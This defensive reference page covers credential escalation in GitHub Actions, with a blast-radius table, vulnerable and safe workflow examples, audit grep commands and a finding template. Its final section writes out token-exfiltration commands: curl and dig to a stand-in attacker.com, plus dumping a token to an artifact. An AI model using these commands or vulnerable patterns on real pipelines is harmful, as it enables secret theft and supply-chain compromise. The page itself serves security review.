Setting the file. One moment.
Skill 15 · Gha Security Review
Subchapter 15.3
references/credential-escalation.mdMarkdown7 KBView on GitHub
GitHub Actions workflows have access to credentials (GITHUB_TOKEN, PATs, deploy keys, cloud credentials) that vary in scope and blast radius. When untrusted code can access these credentials — via pwn requests, expression injection, or missing permission boundaries — attackers can escalate from “open a PR” to “own the repository.”
| Credential | Default Scope | Blast Radius if Stolen |
|---|---|---|
GITHUB_TOKEN (read) | Read repo contents | Clone private repo code |
GITHUB_TOKEN (write) | Read/write contents, PRs, issues | Push commits, merge PRs, modify releases |
| Personal Access Token (classic) | All repos the user can access | Full account compromise across repos |
| Fine-grained PAT | Specified repos/permissions | Scoped but still persistent access |
| Deploy key (read) | Single repo read | Clone single repo |
| Deploy key (write) | Single repo read/write | Push to single repo, modify contents |
| Cloud credentials (AWS/GCP/Azure) | Depends on IAM role | Cloud resource access, data exfiltration |
| npm/PyPI tokens | Publish packages | Supply chain attack on downstream users |
# VULNERABLE: PAT accessible to fork code
on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
token: ${{ secrets.AUTO_COMMIT_PAT }} # Classic PAT!
- run: ./scripts/auto-format.sh # Fork code has access to PATReal-world: Used against trivy (25k+ stars). The AUTO_COMMIT_PAT classic PAT was stolen and used to:
# VULNERABLE: write-all permissions with fork checkout
on: pull_request_target
permissions: write-all # Everything writable
jobs:
process:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install # Fork's package.json can steal GITHUB_TOKEN# VULNERABLE: All secrets available to fork code
on: pull_request_target
jobs:
deploy:
runs-on: ubuntu-latest
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.ref }}
- run: npm publish # Fork code can read all env vars# Find workflows using secrets
grep -rn 'secrets\.' .github/workflows/ | grep -v 'GITHUB_TOKEN'
# Find PAT usage
grep -rn 'PAT\|_TOKEN\|_KEY\|_SECRET\|DEPLOY_KEY' .github/workflows/
# Find workflows with write-all or broad permissions
grep -rn 'write-all\|permissions:' .github/workflows/
# Check if secrets are in pull_request_target workflows
grep -B20 'secrets\.' .github/workflows/*.yml | grep 'pull_request_target'
# Find checkout steps with custom tokens
grep -A5 'actions/checkout' .github/workflows/*.yml | grep 'token:'# SAFE: Explicit minimal permissions
on: pull_request
permissions:
contents: read
pull-requests: read
jobs:
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm run lintNever give PATs or write permissions to workflows that execute fork code:
# Workflow 1: Build (no secrets, fork code OK)
on: pull_request
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm ci && npm test
# Workflow 2: Release (secrets OK, no fork code)
on:
push:
tags: ['v*']
permissions:
contents: write
jobs:
release:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4 # Only target repo code
- env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
run: npm publish| Feature | Classic PAT | Fine-Grained PAT |
|---|---|---|
| Repository scope | All repos or all public | Specific repos |
| Permission granularity | Broad scopes | Per-permission |
| Expiration | Optional | Required |
| Org approval | No | Optional |
| IP allowlisting | No | Yes |
# VULNERABLE: Long-lived AWS credentials
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_KEY }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET }}
# SAFE: OIDC federation — no stored credentials
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789:role/github-actions
aws-region: us-east-1Attackers extract credentials via:
# Direct HTTP exfiltration
curl -d "token=$GITHUB_TOKEN" https://attacker.com/collect
# DNS exfiltration (bypasses egress filtering)
dig $(echo $GITHUB_TOKEN | base64).attacker.com
# Via workflow logs (if token not masked)
echo $SECRET_VALUE # GitHub masks known secrets, but derived values may leak
# Via artifacts
echo $GITHUB_TOKEN > token.txt
# Upload as artifactATTACK: Credential Escalation via [vector]
ENTRY: [How attacker triggers the workflow]
CREDENTIAL: [Which credential is accessible — PAT, GITHUB_TOKEN, cloud key]
SCOPE: [What the credential can do — write to repo, publish packages, etc.]
EXFILTRATION: [How the attacker extracts the credential]
POST-EXPLOITATION: [What attacker does with the credential]
IMPACT: [Full blast radius]